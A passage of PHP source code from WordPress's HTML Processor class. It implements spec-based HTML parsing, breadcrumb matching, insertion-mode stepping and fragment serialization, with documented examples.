				$fragment_processor->state->form_element->on_destroy    = null;
				break;
			}
		}

		$fragment_processor->state->encoding_confidence = 'irrelevant';

		/*
		 * Update the parsing namespace near the end of the process.
		 * This is important so that any push/pop from the stack of open
		 * elements does not change the parsing namespace.
		 */
		$fragment_processor->change_parsing_namespace(
			$this->current_element->token->integration_node_type ? 'html' : $namespace
		);

		return $fragment_processor;
	}

	/**
	 * Stops the parser and terminates its execution when encountering unsupported markup.
	 *
	 * @throws WP_HTML_Unsupported_Exception Halts execution of the parser.
	 *
	 * @since 6.7.0
	 *
	 * @param string $message Explains support is missing in order to parse the current node.
	 */
	private function bail( string $message ) {
		$here  = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$token = substr( $this->html, $here->start, $here->length );

		$open_elements = array();
		foreach ( $this->state->stack_of_open_elements->stack as $item ) {
			$open_elements[] = $item->node_name;
		}

		$active_formats = array();
		foreach ( $this->state->active_formatting_elements->walk_down() as $item ) {
			$active_formats[] = $item->node_name;
		}

		$this->last_error = self::ERROR_UNSUPPORTED;

		$this->unsupported_exception = new WP_HTML_Unsupported_Exception(
			$message,
			$this->state->current_token->node_name,
			$here->start,
			$token,
			$open_elements,
			$active_formats
		);

		throw $this->unsupported_exception;
	}

	/**
	 * Returns the last error, if any.
	 *
	 * Various situations lead to parsing failure but this class will
	 * return `false` in all those cases. To determine why something
	 * failed it's possible to request the last error. This can be
	 * helpful to know to distinguish whether a given tag couldn't
	 * be found or if content in the document caused the processor
	 * to give up and abort processing.
	 *
	 * Example
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<template><strong><button><em><p><em>' );
	 *     false === $processor->next_tag();
	 *     WP_HTML_Processor::ERROR_UNSUPPORTED === $processor->get_last_error();
	 *
	 * @since 6.4.0
	 *
	 * @see self::ERROR_UNSUPPORTED
	 * @see self::ERROR_EXCEEDED_MAX_BOOKMARKS
	 *
	 * @return string|null The last error, if one exists, otherwise null.
	 */
	public function get_last_error(): ?string {
		return $this->last_error;
	}

	/**
	 * Returns context for why the parser aborted due to unsupported HTML, if it did.
	 *
	 * This is meant for debugging purposes, not for production use.
	 *
	 * @since 6.7.0
	 *
	 * @see self::$unsupported_exception
	 *
	 * @return WP_HTML_Unsupported_Exception|null
	 */
	public function get_unsupported_exception() {
		return $this->unsupported_exception;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @todo Support matching the class name and tag name.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Visits all tokens, including virtual ones.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type string      $tag_closers  'visit' to pause at tag closers, 'skip' or unset to only visit openers.
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string[]    $breadcrumbs  DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                                     May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$visit_closers = isset( $query['tag_closers'] ) && 'visit' === $query['tag_closers'];

		if ( null === $query ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		if ( is_string( $query ) ) {
			$query = array( 'breadcrumbs' => array( $query ) );
		}

		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Please pass a query array to this function.' ),
				'6.4.0'
			);
			return false;
		}

		if ( isset( $query['tag_name'] ) ) {
			$query['tag_name'] = strtoupper( $query['tag_name'] );
		}

		$needs_class = ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) )
			? $query['class_name']
			: null;

		if ( ! ( array_key_exists( 'breadcrumbs', $query ) && is_array( $query['breadcrumbs'] ) ) ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( isset( $query['tag_name'] ) && $query['tag_name'] !== $this->get_token_name() ) {
					continue;
				}

				if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		$breadcrumbs  = $query['breadcrumbs'];
		$match_offset = isset( $query['match_offset'] ) ? (int) $query['match_offset'] : 1;

		while ( $match_offset > 0 && $this->next_token() ) {
			if ( '#tag' !== $this->get_token_type() || $this->is_tag_closer() ) {
				continue;
			}

			if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
				continue;
			}

			if ( $this->matches_breadcrumbs( $breadcrumbs ) && 0 === --$match_offset ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * @since 6.5.0 Added for internal support; do not use.
	 * @since 6.7.2 Refactored so subclasses may extend.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->next_visitable_token();
	}

	/**
	 * Ensures internal accounting is maintained for HTML semantic rules while
	 * the underlying Tag Processor class is seeking to a bookmark.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * Note that this method may call itself recursively. This is why it is not
	 * implemented as {@see WP_HTML_Processor::next_token()}, which instead calls
	 * this method similarly to how {@see WP_HTML_Tag_Processor::next_token()}
	 * calls the {@see WP_HTML_Tag_Processor::base_class_next_token()} method.
	 *
	 * @since 6.7.2 Added for internal support.
	 *
	 * @access private
	 *
	 * @return bool
	 */
	private function next_visitable_token(): bool {
		$this->current_element = null;

		if ( isset( $this->last_error ) ) {
			return false;
		}

		/*
		 * Prime the events if there are none.
		 *
		 * @todo In some cases, probably related to the adoption agency
		 *       algorithm, this call to step() doesn't create any new
		 *       events. Calling it again creates them. Figure out why
		 *       this is and if it's inherent or if it's a bug. Looping
		 *       until there are events or until there are no more
		 *       tokens works in the meantime and isn't obviously wrong.
		 */
		if ( empty( $this->element_queue ) && $this->step() ) {
			return $this->next_visitable_token();
		}

		// Process the next event on the queue.
		$this->current_element = array_shift( $this->element_queue );
		if ( ! isset( $this->current_element ) ) {
			// There are no tokens left, so close all remaining open elements.
			while ( $this->state->stack_of_open_elements->pop() ) {
				continue;
			}

			return empty( $this->element_queue ) ? false : $this->next_visitable_token();
		}

		$is_pop = WP_HTML_Stack_Event::POP === $this->current_element->operation;

		/*
		 * The root node only exists in the fragment parser, and closing it
		 * indicates that the parse is complete. Stop before popping it from
		 * the breadcrumbs.
		 */
		if ( 'root-node' === $this->current_element->token->bookmark_name ) {
			return $this->next_visitable_token();
		}

		// Adjust the breadcrumbs for this event.
		if ( $is_pop ) {
			array_pop( $this->breadcrumbs );
		} else {
			$this->breadcrumbs[] = $this->current_element->token->node_name;
		}

		// Avoid sending close events for elements which don't expect a closing.
		if ( $is_pop && ! $this->expects_closer( $this->current_element->token ) ) {
			return $this->next_visitable_token();
		}

		return true;
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return $this->is_virtual()
			? ( WP_HTML_Stack_Event::POP === $this->current_element->operation && '#tag' === $this->get_token_type() )
			: parent::is_tag_closer();
	}

	/**
	 * Indicates if the currently-matched token is virtual, created by a stack operation
	 * while processing HTML, rather than a token found in the HTML text itself.
	 *
	 * @since 6.6.0
	 *
	 * @return bool Whether the current token is virtual.
	 */
	private function is_virtual(): bool {
		return (
			isset( $this->current_element->provenance ) &&
			'virtual' === $this->current_element->provenance
		);
	}

	/**
	 * Indicates if the currently-matched tag matches the given breadcrumbs.
	 *
	 * A "*" represents a single tag wildcard, where any tag matches, but not no tags.
	 *
	 * At some point this function _may_ support a `**` syntax for matching any number
	 * of unspecified tags in the breadcrumb stack. This has been intentionally left
	 * out, however, to keep this function simple and to avoid introducing backtracking,
	 * which could open up surprising performance breakdowns.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><span><figure><img></figure></span></div>' );
	 *     $processor->next_tag( 'img' );
	 *     true  === $processor->matches_breadcrumbs( array( 'figure', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', 'figure', 'img' ) );
	 *     false === $processor->matches_breadcrumbs( array( 'span', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', '*', 'img' ) );
	 *
	 * @since 6.4.0
	 *
	 * @param string[] $breadcrumbs DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                              May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * @return bool Whether the currently-matched tag is found at the given nested structure.
	 */
	public function matches_breadcrumbs( $breadcrumbs ): bool {
		// Everything matches when there are zero constraints.
		if ( 0 === count( $breadcrumbs ) ) {
			return true;
		}

		// Start at the last crumb.
		$crumb = end( $breadcrumbs );

		if ( '*' !== $crumb && $this->get_tag() !== strtoupper( $crumb ) ) {
			return false;
		}

		for ( $i = count( $this->breadcrumbs ) - 1; $i >= 0; $i-- ) {
			$node  = $this->breadcrumbs[ $i ];
			$crumb = strtoupper( current( $breadcrumbs ) );

			if ( '*' !== $crumb && $node !== $crumb ) {
				return false;
			}

			if ( false === prev( $breadcrumbs ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Indicates if the currently-matched node expects a closing
	 * token, or if it will self-close on the next step.
	 *
	 * Most HTML elements expect a closer, such as a P element or
	 * a DIV element. Others, like an IMG element are void and don't
	 * have a closing tag. Special elements, such as SCRIPT and STYLE,
	 * are treated just like void tags. Text nodes and self-closing
	 * foreign content will also act just like a void tag, immediately
	 * closing as soon as the processor advances to the next token.
	 *
	 * @since 6.6.0
	 *
	 * @param WP_HTML_Token|null $node Optional. Node to examine, if provided.
	 *                                 Default is to examine current node.
	 * @return bool|null Whether to expect a closer for the currently-matched node,
	 *                   or `null` if not matched on any token.
	 */
	public function expects_closer( ?WP_HTML_Token $node = null ): ?bool {
		$token_name = $node->node_name ?? $this->get_token_name();

		if ( ! isset( $token_name ) ) {
			return null;
		}

		$token_namespace        = $node->namespace ?? $this->get_namespace();
		$token_has_self_closing = $node->has_self_closing_flag ?? $this->has_self_closing_flag();

		return ! (
			// Comments, text nodes, and other atomic tokens.
			'#' === $token_name[0] ||
			// Doctype declarations.
			'html' === $token_name ||
			// Void elements.
			( 'html' === $token_namespace && self::is_void( $token_name ) ) ||
			// Special atomic elements.
			( 'html' === $token_namespace && in_array( $token_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) ||
			// Self-closing elements in foreign content.
			( 'html' !== $token_namespace && $token_has_self_closing )
		);
	}

	/**
	 * Steps through the HTML document and stop at the next tag, if any.
	 *
	 * @since 6.4.0
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @see self::PROCESS_NEXT_NODE
	 * @see self::REPROCESS_CURRENT_NODE
	 *
	 * @param string $node_to_process Whether to parse the next node or reprocess the current node.
	 * @return bool Whether a tag was matched.
	 */
	public function step( $node_to_process = self::PROCESS_NEXT_NODE ): bool {
		// Refuse to proceed if there was a previous error.
		if ( null !== $this->last_error ) {
			return false;
		}

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			/*
			 * Void elements still hop onto the stack of open elements even though
			 * there's no corresponding closing tag. This is important for managing
			 * stack-based operations such as "navigate to parent node" or checking
			 * on an element's breadcrumbs.
			 *
			 * When moving on to the next node, therefore, if the bottom-most element
			 * on the stack is a void element, it must be closed.
			 */
			$top_node = $this->state->stack_of_open_elements->current_node();
			if ( isset( $top_node ) && ! $this->expects_closer( $top_node ) ) {
				$this->state->stack_of_open_elements->pop();
			}
		}

		if ( self::PROCESS_NEXT_NODE === $node_to_process ) {
			parent::next_token();
			if ( WP_HTML_Tag_Processor::STATE_TEXT_NODE === $this->parser_state ) {
				parent::subdivide_text_appropriately();
			}
		}

		// Finish stepping when there are no more tokens in the document.
		if (
			WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			WP_HTML_Tag_Processor::STATE_COMPLETE === $this->parser_state
		) {
			return false;
		}

		$adjusted_current_node = $this->get_adjusted_current_node();
		$is_closer             = $this->is_tag_closer();
		$is_start_tag          = WP_HTML_Tag_Processor::STATE_MATCHED_TAG === $this->parser_state && ! $is_closer;
		$token_name            = $this->get_token_name();

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			$this->state->current_token = new WP_HTML_Token(
				$this->bookmark_token(),
				$token_name,
				$this->has_self_closing_flag(),
				$this->release_internal_bookmark_on_destruct
			);
		}

		$parse_in_current_insertion_mode = (
			0 === $this->state->stack_of_open_elements->count() ||
			'html' === $adjusted_current_node->namespace ||
			(
				'math' === $adjusted_current_node->integration_node_type &&
				(
					( $is_start_tag && ! in_array( $token_name, array( 'MGLYPH', 'MALIGNMARK' ), true ) ) ||
					'#text' === $token_name
				)
			) ||
			(
				'math' === $adjusted_current_node->namespace &&
				'ANNOTATION-XML' === $adjusted_current_node->node_name &&
				$is_start_tag && 'SVG' === $token_name
			) ||
			(
				'html' === $adjusted_current_node->integration_node_type &&
				( $is_start_tag || '#text' === $token_name )
			)
		);

		try {
			if ( ! $parse_in_current_insertion_mode ) {
				return $this->step_in_foreign_content();
			}

			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		} catch ( WP_HTML_Unsupported_Exception $e ) {
			/*
			 * Exceptions are used in this class to escape deep call stacks that
			 * otherwise might involve messier calling and return conventions.
			 */
			return false;
		}
	}

	/**
	 * Computes the HTML breadcrumbs for the currently-matched node, if matched.
	 *
	 * Breadcrumbs start at the outermost parent and descend toward the matched element.
	 * They always include the entire path from the root HTML node to the matched element.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<p><strong><em><img></em></strong></p>' );
	 *     $processor->next_tag( 'IMG' );
	 *     $processor->get_breadcrumbs() === array( 'HTML', 'BODY', 'P', 'STRONG', 'EM', 'IMG' );
	 *
	 * @since 6.4.0
	 *
	 * @return string[] Array of tag names representing path to matched node.
	 */
	public function get_breadcrumbs(): array {
		return $this->breadcrumbs;
	}

	/**
	 * Returns the nesting depth of the current location in the document.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><p></p></div>' );
	 *     // The processor starts in the BODY context, meaning it has depth from the start: HTML > BODY.
	 *     2 === $processor->get_current_depth();
	 *
	 *     // Opening the DIV element increases the depth.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 *     // Opening the P element increases the depth.
	 *     $processor->next_token();
	 *     4 === $processor->get_current_depth();
	 *
	 *     // The P element is closed during `next_token()` so the depth is decreased to reflect that.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 * @since 6.6.0
	 *
	 * @return int Nesting-depth of current location in the document.
	 */
	public function get_current_depth(): int {
		return count( $this->breadcrumbs );
	}

	/**
	 * Normalizes an HTML fragment by serializing it.
	 *
	 * This method assumes that the given HTML snippet is found in BODY context.
	 * For normalizing full documents or fragments found in other contexts, create
	 * a new processor using {@see WP_HTML_Processor::create_fragment} or
	 * {@see WP_HTML_Processor::create_full_parser} and call {@see WP_HTML_Processor::serialize}
	 * on the created instances.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     echo WP_HTML_Processor::normalize( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     echo WP_HTML_Processor::normalize( '<div></p>fun<table><td>cell</div>' );
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     echo WP_HTML_Processor::normalize( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @param string $html Input HTML to normalize.
	 *
	 * @return string|null Normalized output, or `null` if unable to normalize.
	 */
	public static function normalize( string $html ): ?string {
		return static::create_fragment( $html )->serialize();
	}

	/**
	 * Returns normalized HTML for a fragment by serializing it.
	 *
	 * This differs from {@see WP_HTML_Processor::normalize} in that it starts with
	 * a specific HTML Processor, which _must_ not have already started scanning;
	 * it must be in the initial ready state and will be in the completed state once
	 * serialization is complete.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     echo $processor->serialize();
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div></p>fun<table><td>cell</div>' );
	 *     echo $processor->serialize();
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     echo $processor->serialize();
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Normalized HTML markup represented by processor,
	 *                     or `null` if unable to generate serialization.
	 */
	public function serialize(): ?string {
		if ( WP_HTML_Tag_Processor::STATE_READY !== $this->parser_state ) {
			wp_trigger_error(
				__METHOD__,
				'An HTML Processor which has already started processing cannot serialize its contents. Serialize immediately after creating the instance.',
				E_USER_WARNING
			);
			return null;
		}

		$html = '';
		while ( $this->next_token() ) {
			$html .= $this->serialize_token();
		}

		if ( null !== $this->get_last_error() ) {
			wp_trigger_error(
				__METHOD__,
				"Cannot serialize HTML Processor with parsing error: {$this->get_last_error()}.",
				E_USER_WARNING
			);
			return null;
		}

		return $html;
	}

	/**
	 * Serializes the currently-matched token.
	 *
	 * This method produces a fully-normative HTML string for the currently-matched token,
	 * if able. If not matched at any token or if the token doesn't correspond to any HTML
	 * it will return an empty string (for example, presumptuous end tags are ignored).
	 *
	 * @see static::serialize()
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Converted from protected to public method.
	 *
	 * @return string Serialization of token, or empty string if no serialization exists.
	 */
	public function serialize_token(): string {
		$html       = '';
		$token_type = $this->get_token_type();

		switch ( $token_type ) {
			case '#doctype':
				$doctype = $this->get_doctype_info();
				if ( null === $doctype ) {
					break;
				}

				$html .= '<!DOCTYPE';

				if ( $doctype->name ) {
					$html .= " {$doctype->name}";
				}

				if ( null !== $doctype->public_identifier ) {
					$quote = str_contains( $doctype->public_identifier, '"' ) ? "'" : '"';
					$html .= " PUBLIC {$quote}{$doctype->public_identifier}{$quote}";
				}
				if ( null !== $doctype->system_identifier ) {
					if ( null === $doctype->public_identifier ) {
						$html .= ' SYSTEM';
					}
					$quote = str_contains( $doctype->system_identifier, '"' ) ? "'" : '"';
					$html .= " {$quote}{$doctype->system_identifier}{$quote}";
				}

				$html .= '>';
				break;

			case '#text':
				$html .= htmlspecialchars( $this->get_modifiable_text(), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
				break;

			// Unlike the `<>` which is interpreted as plaintext, this is ignored entirely.
			case '#presumptuous-tag':
				break;

			case '#funky-comment':
			case '#comment':
				$html .= "<!--{$this->get_full_comment_text()}-->";
				break;

			case '#cdata-section':
				$html .= "<![CDATA[{$this->get_modifiable_text()}]]>";
				break;
		}

		if ( '#tag' !== $token_type ) {
			return $html;
		}

		$tag_name       = str_replace( "\x00", "\u{FFFD}", $this->get_tag() );
		$in_html        = 'html' === $this->get_namespace();
		$qualified_name = $in_html ? strtolower( $tag_name ) : $this->get_qualified_tag_name();

		if ( $this->is_tag_closer() ) {
			$html .= "</{$qualified_name}>";
			return $html;
		}

		$attribute_names = $this->get_attribute_names_with_prefix( '' );
		if ( ! isset( $attribute_names ) ) {
			$html .= "<{$qualified_name}>";
			return $html;
		}

		$html .= "<{$qualified_name}";
		foreach ( $attribute_names as $attribute_name ) {
			$html .= " {$this->get_qualified_attribute_name( $attribute_name )}";
			$value = $this->get_attribute( $attribute_name );

			if ( is_string( $value ) ) {
				$html .= '="' . htmlspecialchars( $value, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5 ) . '"';
			}

			$html = str_replace( "\x00", "\u{FFFD}", $html );
		}

		if ( ! $in_html && $this->has_self_closing_flag() ) {
			$html .= ' /';
		}

		$html .= '>';

		// Flush out self-contained elements.
		if ( $in_html && in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) {
			$text = $this->get_modifiable_text();

			switch ( $tag_name ) {
				case 'IFRAME':
				case 'NOEMBED':
				case 'NOFRAMES':
					$text = '';
					break;

				case 'SCRIPT':
				case 'STYLE':
					break;

				default:
					$text = htmlspecialchars( $text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
			}

			$html .= "{$text}</{$qualified_name}>";
		}

		return $html;
	}

	/**
	 * Parses next element in the 'initial' insertion mode.
	 *
	 * This internal function performs the 'initial' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_initial(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto initial_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				$doctype = $this->get_doctype_info();
				if ( null !== $doctype && 'quirks' === $doctype->indicated_compatibility_mode ) {
					$this->compat_mode = WP_HTML_Tag_Processor::QUIRKS_MODE;
				}

				/*
				 * > Then, switch the insertion mode to "before html".
				 */
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
				$this->insert_html_element( $this->state->current_token );
				return true;
		}

		/*
		 * > Anything else
		 */
		initial_anything_else:
		$this->compat_mode           = WP_HTML_Tag_Processor::QUIRKS_MODE;
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before html' insertion mode.
	 *
	 * This internal function performs the 'before html' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-html-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_html(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_html_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto before_html_anything_else;
				break;
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else.
		 *
		 * > Create an html element whose node document is the Document object.
		 * > Append it to the Document object. Put this element in the stack of open elements.
		 * > Switch the insertion mode to "before head", then reprocess the token.
		 */
		before_html_anything_else:
		$this->insert_virtual_node( 'HTML' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before head' insertion mode.
	 *
	 * This internal function performs the 'before head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
